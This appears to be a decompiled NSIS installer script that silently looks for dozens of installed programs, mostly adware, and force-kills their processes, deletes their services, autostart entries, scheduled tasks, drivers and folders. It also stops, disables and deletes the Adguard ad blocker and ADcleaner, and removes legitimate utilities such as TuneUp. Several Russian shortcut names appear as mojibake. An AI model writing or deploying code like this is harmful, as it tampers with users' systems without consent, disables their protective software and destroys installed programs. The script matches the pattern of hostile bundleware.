Exec nsExec::Exec "cmd /k taskkill /IM VideoPlugin.FilterService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM VideoPlugin.FilterService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM VideoPlugin.FilterServer.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM VideoPlugin.FilterServer.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM VideoPlugin.UpdateService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM VideoPlugin.UpdateService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Sleep 3000 DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoPlugin.BrowserService DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoPlugin.FilterDriver DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoPlugin.FilterService DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoPlugin.UpdateService RMDir /r /REBOOTOK $PROGRAMFILES64\VideoPlugin label_16872: IfFileExists $PROGRAMFILES\UPCleaner 0 label_16882 DeleteRegKey HKLM SYSTEM\ControlSet001\services\UGBroMon DeleteRegKey HKLM SYSTEM\ControlSet001\services\UGProtect DeleteRegKey HKLM SYSTEM\ControlSet001\services\UGSVC nsExec::Exec "cmd /k taskkill /IM UGSvc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UGSvc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\UPCleaner label_16882: IfFileExists $LOCALAPPDATA\macasoft\ntsvc.exe 0 label_16884 RMDir /r /REBOOTOK $LOCALAPPDATA\macasoft label_16884: IfFileExists $PROGRAMFILES\GameXPService 0 label_16892 DeleteRegKey HKLM SYSTEM\ControlSet001\services\gamexpsvc nsExec::Exec "cmd /k taskkill /IM gamexpsvc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM gamexpsvc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\GameXPService label_16892: IfFileExists "$PROGRAMFILES\Obnovi Soft" 0 label_16900 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Îáíîâè Ñîôò" nsExec::Exec "cmd /k taskkill /IM ObnoviSoft.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ObnoviSoft.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Obnovi Soft" label_16900: IfFileExists $APPDATA\ntsvc 0 label_16908 DeleteRegKey HKLM SYSTEM\ControlSet001\services\Sed nsExec::Exec "cmd /k taskkill /IM ntsvc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ntsvc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\ntsvc label_16908: IfFileExists $APPDATA\do-search 0 label_16910 RMDir /r /REBOOTOK $APPDATA\do-search label_16910: IfFileExists $APPDATA\Mactowebise 0 label_16917 nsExec::Exec "cmd /k taskkill /IM ProtectInstall.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ProtectInstall.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\Mactowebise label_16917: IfFileExists $APPDATA\DigitalSites 0 label_16929 nsExec::Exec "cmd /k taskkill /IM UpdateTask.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UpdateTask.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"Digital Sites$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Digital Sites$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\DigitalSites label_16929: IfFileExists $PROGRAMFILES\LiveWPPUpdate 0 label_16937 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\LiveUpdateWPP Manager" nsExec::Exec "cmd /k taskkill /IM LiveUpdateWPP.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM LiveUpdateWPP.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\LiveWPPUpdate label_16937: IfFileExists $APPDATA\SmartSearch\SmartSearch.exe 0 label_16944 nsExec::Exec "cmd /k taskkill /IM SmartSearch.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM SmartSearch.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\SmartSearch label_16944: IfFileExists $PROGRAMFILES64\Reimage 0 label_16957 DeleteRegKey HKLM SYSTEM\ControlSet001\services\ReimageRealTimeProtector nsExec::Exec "cmd /k taskkill /IM ReiGuard.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ReiGuard.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ReiSystem.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ReiSystem.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES64\Reimage label_16957: IfFileExists "$PROGRAMFILES\Wooden Seal" 0 label_16971 nsExec::Exec "cmd /k taskkill /IM updateWoodenSeal.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM updateWoodenSeal.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM utilWoodenSeal.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM utilWoodenSeal.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Wooden Seal" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Wooden Seal" RMDir /r /REBOOTOK "$PROGRAMFILES\Wooden Seal" label_16971: IfFileExists $PROGRAMFILES\PrIceLesss 0 label_16973 RMDir /r /REBOOTOK $PROGRAMFILES\PrIceLesss label_16973: IfFileExists $PROGRAMFILES\Uniblue\PC-Mechanic 0 label_16980 nsExec::Exec "cmd /k taskkill /IM pc-mechanic.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM pc-mechanic.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\Uniblue\PC-Mechanic label_16980: IfFileExists $PROGRAMFILES\IGS\DCLR.exe 0 label_16993 nsExec::Exec "cmd /k taskkill /IM DCLR.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM DCLR.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM DCLR64.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM DCLR64.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\DCLR RMDir /r /REBOOTOK $PROGRAMFILES\IGS label_16993: IfFileExists $PROGRAMFILES\MiPony\MiPony.exe 0 label_17000 nsExec::Exec "cmd /k taskkill /IM MiPony.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MiPony.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\MiPony label_17000: IfFileExists "$PROGRAMFILES\Web Amplified" 0 label_17002 RMDir /r /REBOOTOK "$PROGRAMFILES\Web Amplified" label_17002: IfFileExists $APPDATA\Homepager\Homepager.exe 0 label_17004 RMDir /r /REBOOTOK $APPDATA\Homepager label_17004: IfFileExists "$PROGRAMFILES\TuneUp Utilities 2014" 0 label_17018 DeleteRegKey HKLM SYSTEM\ControlSet001\services\TuneUp.UtilitiesSvc DeleteRegKey HKLM SYSTEM\ControlSet001\services\TuneUpUtilitiesDrv nsExec::Exec "cmd /k taskkill /IM TuneUpUtilitiesService64.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM TuneUpUtilitiesService64.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM TuneUpUtilitiesApp64.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM TuneUpUtilitiesApp64.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\TuneUp Utilities 2014" label_17018: ClearErrors ReadRegStr $2 HKCU "Software\Microsoft\Windows\CurrentVersion\Uninstall\Download Manager Packages" DisplayIcon IfErrors label_17032 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_17032 RMDir /r /REBOOTOK $2 label_17032: IfFileExists $PROGRAMFILES\MixVideoPlayer 0 label_17040 nsExec::Exec "cmd /k taskkill /IM MixVideoPlayerUpdaterService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MixVideoPlayerUpdaterService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\MixVideoPlayerUpdaterService RMDir /r /REBOOTOK $PROGRAMFILES\MixVideoPlayer label_17040: IfFileExists $PROGRAMFILES64\rUpdater 0 label_17054 DeleteRegKey HKLM SYSTEM\ControlSet001\services\rUpdater nsExec::Exec "cmd /k taskkill /IM rUpdater_srv.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM rUpdater_srv.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM rUpdater_agent.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM rUpdater_agent.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run rUpdater2 RMDir /r /REBOOTOK $PROGRAMFILES64\rUpdater label_17054: IfFileExists $PROGRAMFILES64\shopper-z 0 label_17068 DeleteRegKey HKLM SYSTEM\ControlSet001\services\csrcc DeleteRegKey HKLM "SYSTEM\ControlSet001\services\shopper-z Updater" nsExec::Exec "cmd /k taskkill /IM csrcc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM csrcc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Donte.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Donte.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES64\shopper-z label_17068: IfFileExists $PROGRAMFILES64\shopperz 0 label_17082 DeleteRegKey HKLM SYSTEM\ControlSet001\services\csrcc DeleteRegKey HKLM "SYSTEM\ControlSet001\services\shopperz Updater" nsExec::Exec "cmd /k taskkill /IM csrcc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM csrcc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Otyvipo.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Otyvipo.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES64\shopperz label_17082: IfFileExists $PROGRAMFILES\WindeskWinsearch 0 label_17090 nsExec::Exec "cmd /k taskkill /IM $\"Windesk Winsearch.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Windesk Winsearch.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Windesk Winsearch" RMDir /r /REBOOTOK $PROGRAMFILES\WindeskWinsearch label_17090: IfFileExists $APPDATA\oursurfing 0 label_17092 RMDir /r /REBOOTOK $APPDATA\oursurfing label_17092: IfFileExists $LOCALAPPDATA\PriceFountain 0 label_17105 nsExec::Exec "cmd /k taskkill /IM pricefountain.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM pricefountain.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM pricefountainw.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM pricefountainw.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run "Price Fountain" RMDir /r /REBOOTOK $LOCALAPPDATA\PriceFountain label_17105: IfFileExists $APPDATA\PriceFountain\UpdateProc\UpdateTask.exe 0 label_17112 nsExec::Exec "cmd /k taskkill /IM UpdateTask.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UpdateTask.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\PriceFountain label_17112: IfFileExists $PROGRAMFILES\PriceLoesss 0 label_17114 RMDir /r /REBOOTOK $PROGRAMFILES\PriceLoesss label_17114: IfFileExists "$DESKTOP\Ðaìáëåð Áðàóçåð.lnk" 0 label_17116 Delete "$DESKTOP\Ðaìáëåð Áðàóçåð.lnk" label_17116: IfFileExists "$DESKTOP\Âoéòè â Èíòåðíåò.lnk" 0 label_17118 Delete "$DESKTOP\Âoéòè â Èíòåðíåò.lnk" label_17118: IfFileExists $DESKTOP\Êîmetà.lnk 0 label_17120 Delete $DESKTOP\Êîmetà.lnk label_17120: IfFileExists $APPDATA\Browsers\*.bat 0 label_17122 Delete /REBOOTOK $APPDATA\Browsers\*.bat label_17122: IfFileExists "$PROGRAMFILES\Sale Charger" 0 label_17126 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr SaleCharger" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr SaleCharger" RMDir /r /REBOOTOK "$PROGRAMFILES\Sale Charger" label_17126: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr SaleCharger" ImagePath IfErrors label_17140 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_17140 RMDir /r /REBOOTOK $2 label_17140: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr SaleCharger" ImagePath IfErrors label_17154 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_17154 RMDir /r /REBOOTOK $2 label_17154: IfFileExists "$PROGRAMFILES\Primary Color" 0 label_17168 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Primary Color" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Primary Color" nsExec::Exec "cmd /k taskkill /IM updatePrimaryColor.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM updatePrimaryColor.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM utilPrimaryColor.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM utilPrimaryColor.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Primary Color" label_17168: IfFileExists $DESKTOP\Êðèçèñ.lnk 0 label_17170 Delete $DESKTOP\Êðèçèñ.lnk label_17170: IfFileExists "$DESKTOP\Èãðàòü â Âîéíû Ïðåñòîëîâ.lnk" 0 label_17172 Delete "$DESKTOP\Èãðàòü â Âîéíû Ïðåñòîëîâ.lnk" label_17172: IfFileExists $PROGRAMFILES\PricceeLess 0 label_17174 RMDir /r /REBOOTOK $PROGRAMFILES\PricceeLess label_17174: IfFileExists $LOCALAPPDATA\UpdateAdmin 0 label_17186 nsExec::Exec "cmd /k taskkill /IM UpdateAdmin.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UpdateAdmin.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"UpdateAdmin$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"UpdateAdmin$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\UpdateAdmin label_17186: IfFileExists $PROGRAMFILES\PreiceLeSs 0 label_17188 RMDir /r /REBOOTOK $PROGRAMFILES\PreiceLeSs label_17188: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr CrazyScore" ImagePath IfErrors label_17202 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_17202 RMDir /r /REBOOTOK $2 label_17202: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr CrazyScore" ImagePath IfErrors label_17216 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_17216 RMDir /r /REBOOTOK $2 label_17216: IfFileExists "$PROGRAMFILES\Crazy Score" 0 label_17220 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr CrazyScore" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr CrazyScore" RMDir /r /REBOOTOK "$PROGRAMFILES\Crazy Score" label_17220: IfFileExists $PROGRAMFILES\SearchSnacks* 0 label_17254 StrCpy $0 0 label_17222: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_17254 IntOp $0 $0 + 1 ClearErrors Push $1 Push SearchSnacks Call :label_405 Pop $R3 IfErrors label_17222 ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion Push $2 Push . Push _ Call func_179 Pop $3 DeleteRegKey HKLM SYSTEM\ControlSet001\services\sssvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\ssnfd_$2 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\ssnfd_$3.sys 0 label_17246 Delete /REBOOTOK $SYSDIR\drivers\ssnfd_$3.sys label_17246: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\ssnfd_$3.sys 0 label_17253 Delete /REBOOTOK $SYSDIR\drivers\ssnfd_$3.sys label_17253: RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_17254: IfFileExists $PROGRAMFILES\youtubeadblocker 0 label_17256 RMDir /r /REBOOTOK $PROGRAMFILES\youtubeadblocker label_17256: IfFileExists $PROGRAMFILES\Adguard\Adguard.exe 0 label_17286 nsExec::Exec "cmd /k net stop $\"Adguard Service$\"" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop $\"Adguard Service$\"" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config $\"Adguard Service$\" start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config $\"Adguard Service$\" start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Adguard.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Adguard.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM AdguardSvc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM AdguardSvc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Adguard.Tools.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Adguard.Tools.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run Adguard Delete /REBOOTOK $PROGRAMFILES\Adguard\Adguard.exe Delete /REBOOTOK $PROGRAMFILES\Adguard\AdguardSvc.exe Delete /REBOOTOK $PROGRAMFILES\Adguard\Adguard.Tools.exe label_17286: IfFileExists $LOCALAPPDATA\ADcleaner\adcleaner.exe 0 label_17294 nsExec::Exec "cmd /k taskkill /IM adcleaner.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM adcleaner.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run ADcleaner Delete /REBOOTOK $LOCALAPPDATA\ADcleaner\adcleaner.exe label_17294: IfFileExists "$PROGRAMFILES\Smileys We Love Toolbar for IE" 0 label_17296 RMDir /r /REBOOTOK "$PROGRAMFILES\Smileys We Love Toolbar for IE" label_17296: IfFileExists $PROGRAMFILES\mbot_ru* 0 label_17310 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\mbot_ru* label_17299: StrCmp $R1 "" label_17309 IfFileExists $PROGRAMFILES\$R1 0 label_17307 nsExec::Exec "cmd /k taskkill /IM $R1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_17307: FindNext $0 $R1 Goto label_17299 label_17309: FindClose $0 label_17310: IfFileExists $LOCALAPPDATA\mbot_ru* 0 label_17324 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\mbot_ru* label_17313: StrCmp $R1 "" label_17323 IfFileExists $LOCALAPPDATA\$R1 0 label_17321 nsExec::Exec "cmd /k taskkill /IM $R1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\$R1 label_17321: FindNext $0 $R1 Goto label_17313 label_17323: FindClose $0 label_17324: IfFileExists "$PROGRAMFILES\Popi TV" 0 label_17331 nsExec::Exec "cmd /k taskkill /IM PopiTV.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM PopiTV.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Popi TV" label_17331: IfFileExists $SMSTARTUP\PopiTVTray.lnk 0 label_17333 Delete /REBOOTOK $SMSTARTUP\PopiTVTray.lnk label_17333: IfFileExists $PROGRAMFILES\TurboWire 0 label_17335 RMDir /r /REBOOTOK $PROGRAMFILES\TurboWire label_17335: IfFileExists $PROGRAMFILES\PriceLEss 0 label_17337 RMDir /r /REBOOTOK $PROGRAMFILES\PriceLEss label_17337: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr GlassBottle" ImagePath IfErrors label_17351 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_17351 RMDir /r /REBOOTOK $2 label_17351: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr GlassBottle" ImagePath IfErrors label_17365 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_17365 RMDir /r /REBOOTOK $2 label_17365: IfFileExists "$PROGRAMFILES\Glass Bottle" 0 label_17369 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr GlassBottle" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr GlassBottle" RMDir /r /REBOOTOK "$PROGRAMFILES\Glass Bottle" label_17369: IfFileExists "$PROGRAMFILES\Pine Tree" 0 label_17383 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Pine Tree" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Pine Tree" nsExec::Exec "cmd /k taskkill /IM utilPineTree.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM utilPineTree.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM updatePineTree.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM updatePineTree.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Pine Tree" label_17383: IfFileExists "$PROGRAMFILES\Edu App" 0 label_17397 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Edu App" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Edu App" nsExec::Exec "cmd /k taskkill /IM updateEduApp.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM updateEduApp.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM utilEduApp.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM utilEduApp.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Edu App" label_17397: IfFileExists $SMSTARTUP\Download.lnk 0 label_17417 ShellLink::GetShortCutTarget $SMSTARTUP\Download.lnk ; Call Initialize_____Plugins ; File $PLUGINSDIR\ShellLink.dll ; SetDetailsPrint lastused ; Push $SMSTARTUP\Download.lnk ; CallInstDLL $PLUGINSDIR\ShellLink.dll GetShortCutTarget Pop $1 ClearErrors Push $1 Push Download.exe Call :label_405 Pop $0 IfErrors label_17417 nsExec::ExecToStack "schtasks /delete /tn $\"Bidaily Synchronize Task$\" /f" ; Call Initialize_____Plugins ; File 